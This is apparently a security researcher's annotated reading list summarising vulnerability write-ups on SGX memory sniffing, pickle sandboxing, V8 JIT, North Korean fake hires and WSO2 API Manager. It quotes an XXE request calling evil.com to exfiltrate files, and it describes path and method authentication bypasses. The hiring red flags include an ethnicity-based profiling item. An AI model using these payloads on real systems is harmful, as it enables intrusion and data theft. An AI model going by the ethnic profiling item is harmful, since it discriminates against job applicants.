Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

AI coding is used everywhere. A particular version of it "vibecoding" is letting the AI do the programming after a prompt only and seeing how it does. The author of this post asked the LLM to create a 2FA login application. Can it write secure code for a 2FA application? They tried both Sonnet 4.5 and Anthropic.

During the first attempt, it works! The wrong 2FA token will fail and the correct one succeeds. The UI actually looks very similar to a CTF challenge that I wrote recently even. It has a terrible flaw though: you can just brute force the OTP space, since it's only 6 digits without any brute force protections.

After discovering this feature issue, they asked the AI if there are any security features missing from the 2FA verify step. After doing this, it identifies the missing rate limiting. So, unless you tell the LLM to think about security, it won't magically do it for you. This is a really good lesson.

They asked the LLM to fix the issue. It had a rate limit of 5 invalid codes that would lock out after 15 minutes. It uses the library flask-limiter with 1.2K stars that is fairly maintained. It just adds the decorator to the function. After looking at the settings for Limiter, the application appears to limit by IP. Just by flipping the IP, the rate limit can be bypassed.

With this security issue, they decided to ask the LLM for "Is there anything faulty in the rate limitation that allows for a bypass?". Upon asking this, the LLM described the second vulnerability and fixed it. The fix had some weird cases for specific IPs but seemed okay. Upon taking a deeper look, the rate limiting was now based upon the IP and username. Again, the same issue still exists... After asking for more security issues, it gives you a bunch of non-existent ones.

Vibecoding will not lead to secure code. I think my job just got a lot harder. It's a great article about someone who actually tried to write a security sensitive application with LLMs to show it's terrible.

Pickle, a serialization format in Python, is actually a small bytecode format that is a small interpreter. It can import modules and execute arbitrary code. Because of this, accepting pickle files as input is an automatic RCE vulnerability in your website. pickle.loads() is the sink to look for. Hugging Face had a vulnerability recently that could have been exploited this way.

It's crazy that a serialization format can execute arbitrary code. Imagine is JSON could do this... Pickle has been a bad security mistake for years. So, this post is about trying to fix the security of Pickle in Python!

Taint analysis is a strategy to use static code analysis tools to track the flow of untrusted data. In this case, they're trying to use taint analysis into a runtime domain for Python pickle deserialization. The key insight is that if there is a dangerous operation during deserialization, then we can block it. This requires two important things: a hook into dangerous calls and context awareness (are we in a deserialization or not).

PEP 578 is Python Audit Hooks. It's a great for auditing Python execution at runtime with custom hooks. Things like os.system can be hooked. This part is super easy once we know what's a well-defined "bad sink". PEP 567 has context variables for thread-local state. This can be placed as taint to specify whether the execution is within Pickle or not. This doesn't work in our case because the taint variable could be modified by the runtime itself. So, it was added at the CPython level, making it impossible to alter. Another alternative was to inspect the call stack. However, this has really bad performance penalties and has zero introspective of C code.

Using the audit hooks, it's possible to monitor for security sensitive operations. There is a set of strncmp() with various packages being checked. For instance, os., ctypes. and many others. This blacklist approach works well but broke a bunch of things. The initial version of this blacklist had easy evasion vectors via using global hooks. Many things still had issues, like multiprocessing. Finally, some calls were unaudited for some attributes and not others, making it incomplete. So, back to the drawing board!

Almost all sensitive operations appear during the import mechanism. By distinguishing between import related events and other operations, it would create a nice boundary. On the actual execution of bytecode, they were then able to use a whitelist of very specific audit events that have no impact. So, this solves the security problem! This has the limitation that it relies on an audit.

They do something unique at the end though: they have a Pickle sandbox with these protections and are asking researchers to escape! I really like this idea, as it gives people a chance to test the security of Pickle. Great article!

In Clarity, there is both tx.origin as tx-sender and msg.sender as contract-caller. Many contracts, including SIP-010 tokens, use tx-sender for authentication. This has the issue of phishing, where a user calls into a malicious contract, the contract can use the abuse the permissions to act as that user. The article dissects the implications of this design.

One interesting note to me was around requiring 1uSTX trick. Since the normal contract interactions are not expecting a function to be called, you can set the post-condition to be 0 STX. When this happens, the TX will fail. 1 STX is so little funds it's alright but it prevents the attack. Neat!

Trusted Execution Environments (TEE) are a sections of a CPU that run code that is isolated from the rest of the system. The whats and the hows of these differences depend on the generation. In recent years, a shift has occurred, with these now being done on consumer servers. Server TEEs use deterministic AES-XTS without replay protection for memory encryption and don't use integrity checks either. Dropping these protections comes with significant advantages in terms of speed and usability.

TEEs goal is to shield the code and data in the enclaves from both inspection and modification, even with root-level adversaries on the computer. At boot-time, the CPU reserves sections of memory for the exclusive use of Intel's implementation of TEE called SGX. This cannot be accessed by other parts of the execution - only the SGX enclave. SGX implements memory encryption by encrypting the entire address space with a key determined at boot time.

The goal of this attack is to steal content from the SGX enclave by sniffing memory during specific operations. To do this, they created a custom logic analyzer that sits between the DDR5 memory bus and the CPU; details of its construction are in the paper. To ensure the proper lines are being listened to, testing must be performed to verify the mapping of physical addresses to DIMMs. Since the kernel allocates the memory used by SGX, once we know the location of our interposer, we can force the SGX enclave to use that memory.

They also use a clever trick to start and stop the SGX enclave: memory permission changes. Once the TEE is executing the code, we can't see it. However, we CAN change the memory's permissions. By removing access from the TEE engine, the code effectively stops. This allows traces to be taken to be much more accurate.

A key insight is that the encryption key used by enclaves is the same on boot for the memory. Since we can upload our own enclave code to the machine, any data written by the other enclave that matches ours will be a known value! They provide an example of this being bad: secure attestation with ECDSA. By doing this during an ECDSA signing process, they can determine the value of k. With k in hand, you can recover the private key!

With these keys in hand, it's possible to run code that would typically be confidential outside the SGX context. This capability is catastrophic and is demonstrated in the rest of the paper. In the example of BuilderNet, a network of block builders on an EVM chain that runs in an enclave, it breaks all of the guarantees. Usually, the software prevents frontrunning and reading the information of confidential transactions, but this is now possible. Even worse, this contains a key with $200K worth of ETH in it. A similar thing can be done on the Secret Network as well.

There are several other cases of this attack breaking the security. If you don't use deterministic encryption, then this attack wouldn't be possible. Another safety measure is to have location verification and CPU whitelisting. This would prevent jobs from being used on attacker-controlled hardware in a lab capable of performing these attacks.

In my mind, once an attacker has access to your computer, they can do whatever they want. This is a great example of that. Overall, an excellent paper on breaking TEEs with a hardware-based attack.

The JavaScript runtime supports compiling JS to native code for optimization. Of course, this is extremely sensitive and must be done correctly. The author found a difference between the code that was created and how the code is executed.

The functionality in question deals with denormals. These are floating-point numbers so small that they can be rounded down to zero. For WebAudio, this optimization is turned on. The V8 optimizer could analyze this code before this CPU setting is changed but execute it after.

The JavaScript runtime includes code that changes how floats are handled. In particular, AvoidDenormals() can be used to change the semantics of how floats operate. By JITing code that handles floats and then calling this function, there is now a difference between checking and using effectively.

Using this bug can cause memory corruption in the V8 Sandbox. According to the finder of the vulnerability, this also affects other browsers.

KnowBe4 had been searching for a principal-level developer and posted this job online. At the end of it, the employee hired was North Korean. The individual had stolen the identity of an American, allowing background checks and other procedures to pass.

Upon being onboarded, they were sent a MacBook at a different location than their resume stated. Once they accessed their computer, they attempted to add password-stealing Malware. The EDR on the laptop quickly noticed this, and the SOC team asked the new hire if everything was alright. He made confusing excuses, refused to hop on a call and then stopped responding on Slack altogether. Because of this weird behavior, the laptop was completely locked down from the network after only 25 minutes from the first alert.

Upon analyzing the laptop remotely, they realized that the Raspberry Pi was being used to access the keyboard, video, and mouse. This was to ensure that the laptop didn't have any weird TCP/IP traffic for remote access running that could be detected.

The sophistication has ramped up on this in the last 4 years, and the work-from-home (WFM) boom of COVID made this easier as well. Instead of flat-out fake identities, they decided to steal identities. NK started jumping on calls, which hadn't happened before. As such, they have documented some of these changes in this report. There are four parties involved: North Korean Program leaders, North Korean employees in other countries, non-Korean assistants, such as laptop farms and infrastructure for falsifying identities.

The criminal ecosystem assists the NKs with their fake-employee schemes. They will use fake, stolen, and purchased identities when applying for jobs. They have used forged/stolen driver's licenses, passports, diplomas, credit card statements and many other things. Stolen or purchased identities are preferred because they easily pass background checks. Sometimes, an individual gets involved to get paid even.

When operating these jobs, they run laptop farms in the same country and then give the NK's remote access to the devices. One of these laptop farms will sometimes have 90 different laptops from various employers. Instead of using the location on their resume, they almost always ship to this address, making it a tell-tale sign of a NK actor.

Fake employers are also problematic. They will give you a fantastic job, only to compromise your work or personal laptop in the process with malicious software they ask you to download. The main purpose of all of this is to bring in illegal money for North Korea.

At the end is a huge list of red flags. The ones for the hiring phase are as follows:

• Asian descent with an English-looking name, went to a US university, but speaks English poorly with a heavy accent.
• Identity information, work information and other checks will fail, unless stolen.
• When interacting with them, there are a few signs as well. All connections will come from VPNs, the interview will be in a noisy call-center-like location, phone numbers they use are VOIP, and they may hesitate to be on camera.
• Their Internet presence will only be for the links that they sent. It is common for information to contradict itself.

After hiring, a few things are noticable:

• IP address doesn't match expected location. If it does, there's a remote login software on the laptop or other malware.
• Work hours are inconsistent with company hours, and they won't jump on calls/respond promptly.
• Inconsistent product quality, especially if it doesn't seem like the person who had actually been interviewed.
• Payment requests are strange. Either weird banks or cryptocurrency.
• Korean language support found on the laptop.

To prevent these types of attacks, check all of the information above. For instance, check references, if the numbers are VOIP, use cameras, etc. Asking questions about normal country things, such as "What is the name of that mascot of the college you went to?" is a good way to trip them up. Overall, a great and informative post on NK fake employee/employer scams.

This article discusses a paradox: the more esoteric a programming language is, the better its developers are. This is because people don't learn esoteric languages for their jobs; they decide to learn them because they like programming and aren't satisfied.

Using this knowledge, companies should adopt esoteric languages to attract top developers. Developers have a weird incentive here: learn languages that you don't merely learn on the job. Whether this is actually code advice or not, I'll leave up to you. In my mind, using an esoteric language really shrinks the pool of potentially good and bad developers.

The author noticed a file called WSRequestXSSproxy_ajaxprocessor.jsp that hadn't changed much sense 2008. It's unused but a leftover artifact of the product. The whole purpose of this was SSRF as a service. In 2020, they noticed this internally and tried to fix it but failed.

The patch just made it so that you had to be authenticated to access the endpoint. Because of some issues around Java applets, a special case was added to not have authentication on .jar files. The check did a string comparison check with endsWith on the path of the URL. By adding ;.jar to the end of the URL, it would bypass the check. This works because of matrix parameters. By adding this string to the end of the URL, you can then get the SSRF unauthenticated once again.

The SSRF is heavily based around SOAP and XML. The vanilla code allows for control over the URI, username, password and payload within XML. Using a CRLF vulnerability in the SOAPACTION header, we can add arbitrary headers to the request. This gives us more freedom to exploit how we want.

This is a limitation though: we can only read XML and JSON responses. What if we wanted to read something else? The Range header is used to specify which bytes to send in the response. By choosing which bytes to send in the SSRF response and combining the newline injection, we can return a byte at a time. Luckily for us, this will return an error with our character in the middle of it. This turns a mostly blind SSRF into a full-read SSRF.

The newline injection can be used to exploit HTTP pipelining to get Request Smuggling. Notably, this can desync requests and responses. If you're lucky, other users will get your response or you'll get another users response.

Overall, a good chain of vulnerabilities to increase the impact. I didn't know about the matrix parameters so that's a new tool to add to the bag of tricks.

The application defines route permissions via using path regular expressions. The permissions aren't part of the path! Immediately, the author thought there is no way this is being done correctly. The default is no authorization checks for some crazy reason.

There is a set of OAuth endpoints for configuring authentication on the service. Obviously, these having bad regex's would break the security of the application. Some of the endpoint weren't included at all! Some could be bypassed by adding a trailing slash. For instance, the regex (.*)/keymanager-operations/dcr/register would NOT match to /keymanager-operations/dcr/register/.

In 2022, a complete bypass for all authentication was found via finding a difference in the regex parsing and the server parsing. Adding a semicolon into a path was valid yet not counted in the regex's. For instance, /scim2/Users could be bypassed with /scim2;/Users. Apparently, semicolons are valid within the path segment as matrix parameters. So, this was a valid path but not picked up by the regex. Instead of rethinking this approach they doubled down and rewrote a lot of the regex's super crazy rules.

The patch for this was to ensure that ;/ would always be rejected. To find a bypass for this, they reviewed the ordering of operations. Upon analyzing the code, they learned that the URL decoding happens after the regular expression test but before getting the URL. So, simply URL encoding parameters can also bypass the regex checks.

The definition of a route contains a METHOD as well. If the method in the HTTP request doesn't have a corresponding route, then it will fail. Because a route can support multiple methods, the code uses a .contains() for the authorization checks. Sadly, this is case sensitive but it's normally to be capitialized later. So, invoking a route with a lowercased method will bypass authentication. Yikes!

The service APIKeyMgtSubscriberService doesn't require any special besides valid credentials. This appears to be a legacy API for creation and management of OAuth clients. By calliing this API, you can use a low-level user to create an Admin user. Yikes!

After reporting the vulnerabilities, the product team asked the author to stop testing their products. At the moment, they had dedicated a war room team to evaluate the architecture and find more issues. They ignored this and submitted more critical bugs the next day. Overall, an awesome post with great background, discovery thoughts and exploit notes.

WSO2 API manage is an API gateway and lifecycle management platform. It's similar to Kong. The API gateway gateway takes in HTTP requests and forwards them to the backend API servers. WSO2 adds authentication, rate limiting and easy deployment. This code is built on top of Apache Synapse, a Java mediation framework with several customization.

The 404 not found page was using a templating engine. the page itself was defined in a Synapse 'sequence' file in XML with the text containing the URL path as input. Like any templating engine, there is logic to replace the placeholder with the real value. This logic tried to see if the input is valid XML by creating an XML document with it. If it's not, then the data is escaped.

What's the issue here? The input is not escaped in XML! This leads to a classic template injection. What's weird though is that this turns into eXternal XML Entity (XXE) injection. Since the import happens twice (once in verification of the data and once in adding to the sequence file), the second time will always fail. Practically, this means that the exploitation of this must be blind.

The exploitable parameter is the path of the URL. So, the author needed to create valid XML that was also a valid URL path. To do this, tabs must be used instead of spaces. Although this should technically be illegal, the server allows it; encoding the spaces with %20 didn't work either because it won't be decoded before it hits the XML parser.

Another issue arises: the DTD thinks this is an absolute URL path. So, the path itself needs to include a URL at the beginning of it. The actual URL being used for the XXE is nested inside of this. The exploit is super funky looking: GET /http://whatever/<!DOCTYPE[TAB]blah[TAB]SYSTEM[TAB]"http://evil.com:8080/evil.dtd"> HTTP/1.1

The payload above will reach out to the web server http://evil.com:8080. So, what does this mean with blind XXE? In Java, you can include a file, such as /etc/passwd and send the contents of the file as FTP commands. This is only possible in older versions of Java; in newer versions, URLs cannot have newlines in them, which prevents this from working.

In WSO2 API Manager 2.1.0, the reflection above was fixed via not returning the path in the text because of reflected XSS. Lolz - there was something lurking way deeper! The isXML XXE was not patched until years later. Without the 404, it required adding a custom page to the API gateway that used the payloadFactory type. Most developer docs and Stack Overflow posts were vulnerable to this issue though.

In 3.0.0, a service to transform XML requests into JSON was added. It takes a POST request with an XML document and forwards the request to the backend service. Several of the inputs are templated; hence, they are passed to the vulnerable isXML function. This creates a new universal path exploit on the project.

In 3.1.0, the XXE bug was fixed but readded back in 4.0.0. Finally, for version 4.3.0, the vulnerability is fixed for good. Overall, a great post! The history of the issue and exploitability on different versions was interesting to read about.